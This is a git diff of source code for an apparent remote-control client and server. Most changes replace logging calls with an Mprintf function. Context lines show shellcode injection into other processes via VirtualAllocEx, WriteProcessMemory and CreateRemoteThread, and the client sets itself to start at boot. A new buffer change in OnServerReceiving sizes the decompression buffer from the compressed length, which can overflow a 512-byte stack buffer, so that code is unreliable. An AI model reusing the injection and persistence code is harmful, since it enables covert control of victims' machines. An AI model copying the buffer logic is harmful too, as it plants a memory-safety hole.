diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index d59e8da..177d538 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -336,7 +336,7 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; } // 是否成功停止 -extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit; } +extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; } // 是否退出客户端 extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; } diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 81f08bc..b480d2b 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -58,31 +58,31 @@ BOOL SetKeepAliveOptions(int socket, int nKeepAliveSec = 180) { // 启用 TCP 保活选项 int enable = 1; if (setsockopt(socket, SOL_SOCKET, SO_KEEPALIVE, &enable, sizeof(enable)) < 0) { - std::cerr << "Failed to enable TCP keep-alive" << std::endl; + Mprintf("Failed to enable TCP keep-alive\n"); return FALSE; } // 设置 TCP_KEEPIDLE (3分钟空闲后开始发送 keep-alive 包) if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPIDLE, &nKeepAliveSec, sizeof(nKeepAliveSec)) < 0) { - std::cerr << "Failed to set TCP_KEEPIDLE" << std::endl; + Mprintf("Failed to set TCP_KEEPIDLE\n"); return FALSE; } // 设置 TCP_KEEPINTVL (5秒的重试间隔) int keepAliveInterval = 5; // 5秒 if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPINTVL, &keepAliveInterval, sizeof(keepAliveInterval)) < 0) { - std::cerr << "Failed to set TCP_KEEPINTVL" << std::endl; + Mprintf("Failed to set TCP_KEEPINTVL\n"); return FALSE; } // 设置 TCP_KEEPCNT (最多5次探测包后认为连接断开) int keepAliveProbes = 5; if (setsockopt(socket, IPPROTO_TCP, TCP_KEEPCNT, &keepAliveProbes, sizeof(keepAliveProbes)) < 0) { - std::cerr << "Failed to set TCP_KEEPCNT" << std::endl; + Mprintf("Failed to set TCP_KEEPCNT\n"); return FALSE; } - std::cout << "TCP keep-alive settings applied successfully" << std::endl; + Mprintf("TCP keep-alive settings applied successfully\n"); return TRUE; } #endif @@ -172,7 +172,7 @@ inline std::string GetIPAddress(const char *hostName) int status = getaddrinfo(hostName, nullptr, &hints, &res); if (status != 0) { - std::cerr << "getaddrinfo failed: " << gai_strerror(status) << std::endl; + Mprintf("getaddrinfo failed: %s\n", gai_strerror(status)); return ""; } @@ -180,7 +180,7 @@ inline std::string GetIPAddress(const char *hostName) char ip[INET_ADDRSTRLEN]; inet_ntop(AF_INET, &(addr->sin_addr), ip, sizeof(ip)); - std::cout << "IP Address: " << ip << std::endl; + Mprintf("IP Address: %s \n", ip); freeaddrinfo(res); // 不要忘记释放地址信息 return ip; @@ -225,20 +225,20 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) // 若szServerIP非数字开头,则认为是域名,需进行IP转换 // 使用 inet_pton 替代 inet_addr (inet_pton 可以支持 IPv4 和 IPv6) if (inet_pton(AF_INET, server.c_str(), &ServerAddr.sin_addr) <= 0) { - std::cerr << "Invalid address or address not supported" << std::endl; + Mprintf("Invalid address or address not supported\n"); return false; } // 创建套接字 m_sClientSocket = socket(AF_INET, SOCK_STREAM, 0); if (m_sClientSocket == -1) { - std::cerr << "Failed to create socket" << std::endl; + Mprintf("Failed to create socket\n"); return false; } // 连接到服务器 if (connect(m_sClientSocket, (struct sockaddr*)&ServerAddr, sizeof(ServerAddr)) == -1) { - std::cerr << "Connection failed" << std::endl; + Mprintf("Connection failed\n"); close(m_sClientSocket); m_sClientSocket = -1; // 标记套接字无效 return false; @@ -327,6 +327,8 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) } } } + CloseHandle(This->m_hWorkThread); + This->m_hWorkThread = NULL; This->m_bWorkThread = S_STOP; This->m_bIsRunning = FALSE; delete[] szBuffer; @@ -352,62 +354,51 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) //判断数据头 if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) { - throw "Bad Buffer"; + Mprintf("[ERROR] OnServerReceiving memcmp fail: unknown header '%s'\n", szPacketFlag); + m_CompressedBuffer.ClearBuffer(); + break; } ULONG ulPackTotalLength = 0; - CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), - sizeof(ULONG)); + CopyMemory(&ulPackTotalLength, m_CompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG)); //--- 数据的大小正确判断 ULONG len = m_CompressedBuffer.GetBufferLength(); if (ulPackTotalLength && len >= ulPackTotalLength) { - m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//读取各种头部 shine - - m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG)); - ULONG ulOriginalLength = 0; + + m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//读取各种头部 shine + m_CompressedBuffer.ReadBuffer((PBYTE) &ulPackTotalLength, sizeof(ULONG)); m_CompressedBuffer.ReadBuffer((PBYTE) &ulOriginalLength, sizeof(ULONG)); - //50 ULONG ulCompressedLength = ulPackTotalLength - HDR_LENGTH; - PBYTE CompressedBuffer = new BYTE[ulCompressedLength]; - PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; + const int bufSize = 512; + BYTE buf1[bufSize], buf2[bufSize]; + PBYTE CompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulCompressedLength] : buf1; + PBYTE DeCompressedBuffer = ulCompressedLength > bufSize ? new BYTE[ulOriginalLength] : buf2; m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength); - size_t iRet = uncompress(DeCompressedBuffer, - &ulOriginalLength, CompressedBuffer, ulCompressedLength); + size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); if (Z_SUCCESS(iRet))//如果解压成功 { - CBuffer m_DeCompressedBuffer; - m_DeCompressedBuffer.WriteBuffer(DeCompressedBuffer, - ulOriginalLength); - //解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态 //由于m_pManager中的子类不一样造成调用的OnReceive函数不一样 if (m_DataProcess) - m_DataProcess(m_Manager, (PBYTE)m_DeCompressedBuffer.GetBuffer(0), - m_DeCompressedBuffer.GetBufferLength()); + m_DataProcess(m_Manager, (PBYTE)DeCompressedBuffer, ulOriginalLength); } else{ Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength); - delete [] CompressedBuffer; - delete [] DeCompressedBuffer; - throw "Bad Buffer"; + m_CompressedBuffer.ClearBuffer(); } - delete [] CompressedBuffer; - delete [] DeCompressedBuffer; -#if _DEBUG - // Mprintf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength); -#endif + if (CompressedBuffer != buf1)delete [] CompressedBuffer; + if (DeCompressedBuffer != buf2)delete [] DeCompressedBuffer; } else { - Mprintf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength); - break; + break; // received data is incomplete } } }catch(...) { @@ -436,13 +427,14 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) #else unsigned long ulCompressedLength = ZSTD_compressBound(ulOriginalLength); #endif - LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; + BYTE buf[1024]; + LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength] : buf; int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength); if (Z_FAILED(iRet)) { - Mprintf("[ERROR] compress failed \n"); - delete [] CompressedBuffer; + Mprintf("[ERROR] compress failed: srcLen %d, dstLen %d \n", ulOriginalLength, ulCompressedLength); + if (CompressedBuffer != buf) delete [] CompressedBuffer; return FALSE; } #if !USING_ZLIB @@ -454,20 +446,15 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) m_WriteBuffer.WriteBuffer((PBYTE)m_szPacketFlag, FLAG_LENGTH); m_WriteBuffer.WriteBuffer((PBYTE) &ulPackTotalLength,sizeof(ULONG)); - // 5 4 - //[Shine][ 30 ] + m_WriteBuffer.WriteBuffer((PBYTE)&ulOriginalLength, sizeof(ULONG)); - // 5 4 4 - //[Shine][ 30 ][5] + m_WriteBuffer.WriteBuffer(CompressedBuffer,ulCompressedLength); - delete [] CompressedBuffer; - CompressedBuffer = NULL; + if (CompressedBuffer != buf) delete [] CompressedBuffer; // 分块发送 - //shine[0035][0010][HelloWorld+12] - return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), - MAX_SEND_BUFFER); + return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER); } } @@ -538,8 +525,8 @@ VOID IOCPClient::Disconnect() VOID IOCPClient::RunEventLoop(const BOOL &bCondition) { - OutputDebugStringA("======> RunEventLoop begin\n"); + Mprintf("======> RunEventLoop begin\n"); while (m_bIsRunning && bCondition) Sleep(200); - OutputDebugStringA("======> RunEventLoop end\n"); + Mprintf("======> RunEventLoop end\n"); } diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 2875eb2..847716c 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -196,7 +196,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) BYTE bToken = COMMAND_BYE;// 被控端退出 m_ClientObject->OnServerSending((char*)&bToken, 1); g_bExit = S_CLIENT_EXIT; - OutputDebugStringA("======> Client exit \n"); + Mprintf("======> Client exit \n"); break; } @@ -205,7 +205,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) BYTE bToken = SERVER_EXIT;// 主控端退出 m_ClientObject->OnServerSending((char*)&bToken, 1); g_bExit = S_SERVER_EXIT; - OutputDebugStringA("======> Server exit \n"); + Mprintf("======> Server exit \n"); break; } diff --git a/client/MemoryModule.c b/client/MemoryModule.c index 9f95a70..ea6cd7e 100644 --- a/client/MemoryModule.c +++ b/client/MemoryModule.c @@ -424,7 +424,7 @@ PerformBaseRelocation(PMEMORYMODULE module, ptrdiff_t delta) #endif default: - //printf("Unknown relocation: %d\n", type); + // Mprintf("Unknown relocation: %d\n", type); break; } } @@ -1180,7 +1180,7 @@ BOOL MemoryModuleTestsuite() { const uintptr_t* tests = AlignValueDownTests[idx]; uintptr_t value = AlignValueDown(tests[0], tests[1]); if (value != tests[2]) { - printf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n", + Mprintf("AlignValueDown failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n", tests[0], tests[1], tests[2], value); success = FALSE; } @@ -1189,13 +1189,13 @@ BOOL MemoryModuleTestsuite() { const uintptr_t* tests = AlignValueUpTests[idx]; uintptr_t value = AlignValueUp(tests[0], tests[1]); if (value != tests[2]) { - printf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n", + Mprintf("AlignValueUp failed for 0x%" PRIxPTR "/0x%" PRIxPTR ": expected 0x%" PRIxPTR ", got 0x%" PRIxPTR "\n", tests[0], tests[1], tests[2], value); success = FALSE; } } if (success) { - printf("OK\n"); + Mprintf("OK\n"); } return success; } diff --git a/client/ShellcodeInj.h b/client/ShellcodeInj.h index c37983e..3562b40 100644 --- a/client/ShellcodeInj.h +++ b/client/ShellcodeInj.h @@ -89,7 +89,7 @@ private: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); if (!hProcess) { - std::cout << "OpenProcess failed. PID: " << pid << std::endl; + Mprintf("OpenProcess failed. PID: %d\n", pid); return nullptr; } @@ -97,14 +97,14 @@ private: BOOL targetIs64Bit = FALSE; BOOL success = IsProcess64Bit(hProcess, targetIs64Bit); if (!success) { - std::cout << "Get architecture failed " << std::endl; + Mprintf("Get architecture failed \n"); CloseHandle(hProcess); return nullptr; } const BOOL selfIs64Bit = sizeof(void*) == 8; if (selfIs64Bit != targetIs64Bit) { - std::cout << "[Unable inject] Injector is " << (selfIs64Bit ? "64bit" : "32bit") - << ", Target process is " << (targetIs64Bit ? "64bit" : "32bit") << std::endl; + Mprintf("[Unable inject] Injector is %s, Target process is %s\n", + (selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit")); CloseHandle(hProcess); return nullptr; } @@ -139,20 +139,20 @@ private: LPBYTE shellcode = NULL; int len = 0; if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) { - std::cout << "MakeShellcode failed " << std::endl; + Mprintf("MakeShellcode failed \n"); CloseHandle(hProcess); return false; } LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (!remoteBuffer) { - std::cout << "VirtualAllocEx failed " << std::endl; + Mprintf("VirtualAllocEx failed \n"); CloseHandle(hProcess); return false; } if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) { - std::cout << "WriteProcessMemory failed " << std::endl; + Mprintf("WriteProcessMemory failed \n"); VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); CloseHandle(hProcess); delete[] shellcode; @@ -165,7 +165,7 @@ private: HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr); if (!hThread) { - std::cout << "CreateRemoteThread failed " << std::endl; + Mprintf("CreateRemoteThread failed \n"); VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); CloseHandle(hProcess); return false; @@ -173,7 +173,7 @@ private: WaitForSingleObject(hThread, INFINITE); - std::cout << "Finish injecting to PID: " << pid << std::endl; + Mprintf("Finish injecting to PID: %d\n", pid); VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE); CloseHandle(hThread); diff --git a/client/test.cpp b/client/test.cpp index 7448cea..933a91c 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -29,7 +29,11 @@ IsExit bExit = NULL; BOOL status = 0; +#ifdef _DEBUG +CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_DLL }; +#else CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "6543", CLIENT_TYPE_MEMDLL }; +#endif //提升权限 void DebugPrivilege() @@ -266,7 +270,7 @@ int main(int argc, const char *argv[]) { if(!SetSelfStart(argv[0], REG_NAME)) { - std::cout<<"设置开机自启动失败,请用管理员权限运行.\n"; + Mprintf("设置开机自启动失败,请用管理员权限运行.\n"); } status = 0; SetConsoleCtrlHandler(&callback, TRUE); diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index ee99f1a..77ea210 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -371,7 +371,7 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName EnterCriticalSection(&m_cs); if (IsExitItem(m_CList_Online, (ULONG_PTR)ContextObject)) { LeaveCriticalSection(&m_cs); - OutputDebugStringA(CString("===> '") + strIP + CString("' already exist!!\n")); + Mprintf(CString("===> '") + strIP + CString("' already exist!!\n")); return; } //默认为0行 这样所有插入的新列都在最上面 @@ -641,11 +641,11 @@ void CMy2015RemoteDlg::OnClose() { // 隐藏窗口而不是关闭 ShowWindow(SW_HIDE); - OutputDebugStringA("======> Hide\n"); + Mprintf("======> Hide\n"); } void CMy2015RemoteDlg::Release(){ - OutputDebugStringA("======> Release\n"); + Mprintf("======> Release\n"); isClosed = TRUE; ShowWindow(SW_HIDE); @@ -1101,7 +1101,7 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) UINT ret = 0; if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 ) { - OutputDebugStringA("======> StartServer Failed \n"); + Mprintf("======> StartServer Failed \n"); char code[32]; sprintf_s(code, "%d", ret); MessageBox("调用函数StartServer失败! 错误代码:"+CString(code)); @@ -1339,7 +1339,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) { char buf[100]; sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", inet_ntoa(ClientAddr.sin_addr)); - OutputDebugStringA(buf); + Mprintf(buf); return -1; } @@ -1368,7 +1368,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) delete LoginInfor; return S_OK; }catch(...){ - OutputDebugStringA("[ERROR] OnUserToOnlineList catch an error \n"); + Mprintf("[ERROR] OnUserToOnlineList catch an error \n"); } return -1; } @@ -1376,7 +1376,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) { - OutputDebugStringA("======> OnUserOfflineMsg\n"); + Mprintf("======> OnUserOfflineMsg\n"); CString ip, port; port.Format("%d", lParam); EnterCriticalSection(&m_cs); diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index c7329b0..8a4a75c 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -947,18 +947,18 @@ void CFileManagerDlg::OnReceiveComplete() } catch (CMemoryException* e) { - OutputDebugStringA("[ERROR] CMemoryException\n"); + Mprintf("[ERROR] CMemoryException\n"); } catch (CFileException* e) { - OutputDebugStringA("[ERROR] CFileException\n"); + Mprintf("[ERROR] CFileException\n"); } catch (CException* e) { - OutputDebugStringA("[ERROR] CException\n"); + Mprintf("[ERROR] CException\n"); } catch (...) { - OutputDebugStringA("[ERROR] Other exception\n"); + Mprintf("[ERROR] Other exception\n"); } break; case TOKEN_FILE_SIZE: // 传输文件时的第一个数据包,文件大小,及文件名 diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 9c28149..730ee93 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -329,7 +329,7 @@ BOOL IOCPServer::InitializeIOCP(VOID) DWORD IOCPServer::WorkThreadProc(LPVOID lParam) { - OutputDebugStringA("======> IOCPServer WorkThreadProc begin \n"); + Mprintf("======> IOCPServer WorkThreadProc begin \n"); IOCPServer* This = (IOCPServer*)(lParam); @@ -362,7 +362,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0) { ContextObject->olps = NULL; - OutputDebugStringA("!!! RemoveStaleContext \n"); + Mprintf("!!! RemoveStaleContext \n"); This->RemoveStaleContext(ContextObject); } SAFE_DELETE(OverlappedPlus); @@ -416,7 +416,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) ContextObject = NULL; } catch (...) { - OutputDebugStringA("This->HandleIO catched an error!!!"); + Mprintf("This->HandleIO catched an error!!!"); } } } @@ -432,7 +432,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) if (n == 0) { Mprintf("======> IOCPServer All WorkThreadProc done\n"); } - OutputDebugStringA("======> IOCPServer WorkThreadProc end \n"); + Mprintf("======> IOCPServer WorkThreadProc end \n"); return 0; } @@ -454,7 +454,7 @@ BOOL IOCPServer::HandleIO(IOType PacketFlags,PCONTEXT_OBJECT ContextObject, DWOR bRet = OnClientPostSending(ContextObject,dwTrans); break; case IOIdle: - OutputDebugStringA("=> HandleIO PacketFlags= IOIdle\n"); + Mprintf("=> HandleIO PacketFlags= IOIdle\n"); break; default: break; @@ -512,7 +512,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans ContextObject->Decode(CompressedBuffer, ulOriginalLength); m_NotifyProc(ContextObject); SAFE_DELETE_ARRAY(CompressedBuffer); - break; + continue; } bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD, zlibFailed = false; PBYTE DeCompressedBuffer = new BYTE[ulOriginalLength]; //解压过的内存 @@ -522,7 +522,6 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans if (usingZstd ? C_SUCCESS(iRet) : (S_OK==iRet)) { ContextObject->InDeCompressedBuffer.ClearBuffer(); - //ContextObject->InCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength); ContextObject->Decode(DeCompressedBuffer, ulOriginalLength); m_NotifyProc(ContextObject); //通知窗口 @@ -544,7 +543,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans delete [] CompressedBuffer; delete [] DeCompressedBuffer; if (zlibFailed) { - OutputDebugStringA("[ERROR] ZLIB uncompress failed \n"); + Mprintf("[ERROR] ZLIB uncompress failed \n"); throw "Bad Buffer"; } }else{ @@ -553,7 +552,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans } }catch(...) { - OutputDebugStringA("[ERROR] OnClientReceiving catch an error \n"); + Mprintf("[ERROR] OnClientReceiving catch an error \n"); ContextObject->InCompressedBuffer.ClearBuffer(); ContextObject->InDeCompressedBuffer.ClearBuffer(); } @@ -574,7 +573,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe else { memcpy(buf, szBuffer, ulOriginalLength); } - OutputDebugStringA("[COMMAND] Send: " + CString(buf) + "\r\n"); + Mprintf("[COMMAND] Send: " + CString(buf) + "\r\n"); } try { @@ -582,7 +581,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe { if (ulOriginalLength <= 0) return; if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) { - OutputDebugStringA("[ERROR] UNKNOWN compress method \n"); + Mprintf("[ERROR] UNKNOWN compress method \n"); return; } else if (ContextObject->CompressMethod == COMPRESS_NONE) { @@ -596,7 +595,8 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe unsigned long ulCompressedLength = usingZstd ? ZSTD_compressBound(ulOriginalLength) : (double)ulOriginalLength * 1.001 + 12; #endif - LPBYTE CompressedBuffer = new BYTE[ulCompressedLength]; + BYTE buf[1024]; + LPBYTE CompressedBuffer = ulCompressedLength>1024 ? new BYTE[ulCompressedLength]:buf; Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf(); ContextObject->Encode(szBuffer, ulOriginalLength); size_t iRet = usingZstd ? @@ -605,15 +605,15 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe if (usingZstd ? C_FAILED(iRet) : (S_OK != iRet)) { - OutputDebugStringA("[ERROR] compress failed \n"); - delete [] CompressedBuffer; + Mprintf("[ERROR] compress failed \n"); + if (CompressedBuffer != buf) delete [] CompressedBuffer; return; } ulCompressedLength = usingZstd ? iRet : ulCompressedLength; ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength); - delete [] CompressedBuffer; + if (CompressedBuffer != buf) delete [] CompressedBuffer; }while (false); OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); @@ -621,12 +621,12 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //如果投递失败 { int a = GetLastError(); - OutputDebugStringA("!!! OnClientPreSending 投递消息失败\n"); + Mprintf("!!! OnClientPreSending 投递消息失败\n"); RemoveStaleContext(ContextObject); SAFE_DELETE(OverlappedPlus); } }catch(...){ - OutputDebugStringA("[ERROR] OnClientPreSending catch an error \n"); + Mprintf("[ERROR] OnClientPreSending catch an error \n"); } } @@ -653,13 +653,13 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING ) { int a = GetLastError(); - OutputDebugStringA("!!! OnClientPostSending 投递消息失败\n"); + Mprintf("!!! OnClientPostSending 投递消息失败\n"); RemoveStaleContext(ContextObject); SAFE_DELETE(OverlappedPlus); } } }catch(...){ - OutputDebugStringA("[ERROR] OnClientPostSending catch an error \n"); + Mprintf("[ERROR] OnClientPostSending catch an error \n"); } return FALSE; @@ -775,7 +775,7 @@ void IOCPServer::OnAccept() if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //如果投递失败 { int a = GetLastError(); - OutputDebugStringA("!!! OnAccept 投递消息失败\n"); + Mprintf("!!! OnAccept 投递消息失败\n"); RemoveStaleContext(ContextObject); SAFE_DELETE(OverlappedPlus); return; @@ -800,7 +800,7 @@ VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject) if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING) { int a = GetLastError(); - OutputDebugStringA("!!! PostRecv 投递消息失败\n"); + Mprintf("!!! PostRecv 投递消息失败\n"); RemoveStaleContext(ContextObject); SAFE_DELETE(OverlappedPlus); } diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 988d0c0..3f7ae75 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -370,7 +370,7 @@ public: #if TRACK_OVERLAPPEDPLUS char szLog[100]; sprintf_s(szLog, "=> [new] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); - OutputDebugStringA(szLog); + Mprintf(szLog); #endif ZeroMemory(this, sizeof(OVERLAPPEDPLUS)); m_ioType = ioType; @@ -381,7 +381,7 @@ public: #if TRACK_OVERLAPPEDPLUS char szLog[100]; sprintf_s(szLog, "=> [delete] OVERLAPPEDPLUS %p by thread [%d].\n", this, GetCurrentThreadId()); - OutputDebugStringA(szLog); + Mprintf(szLog); #endif } }; diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index 7b961c4..12927ef 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -9,7 +9,7 @@ // CSystemDlg 对话框 -typedef struct +typedef struct ItemData { DWORD ID; CString Data[3]; diff --git a/server/2015Remote/VideoDlg.cpp b/server/2015Remote/VideoDlg.cpp index e886825..f7ae79e 100644 --- a/server/2015Remote/VideoDlg.cpp +++ b/server/2015Remote/VideoDlg.cpp @@ -308,7 +308,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler) m_pVideoCodec = new CVideoCodec; if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) { - OutputDebugStringA("======> InitCompressor failed \n"); + Mprintf("======> InitCompressor failed \n"); delete m_pVideoCodec; // 置NULL, 发送时判断是否为NULL来判断是否压缩 m_pVideoCodec = NULL;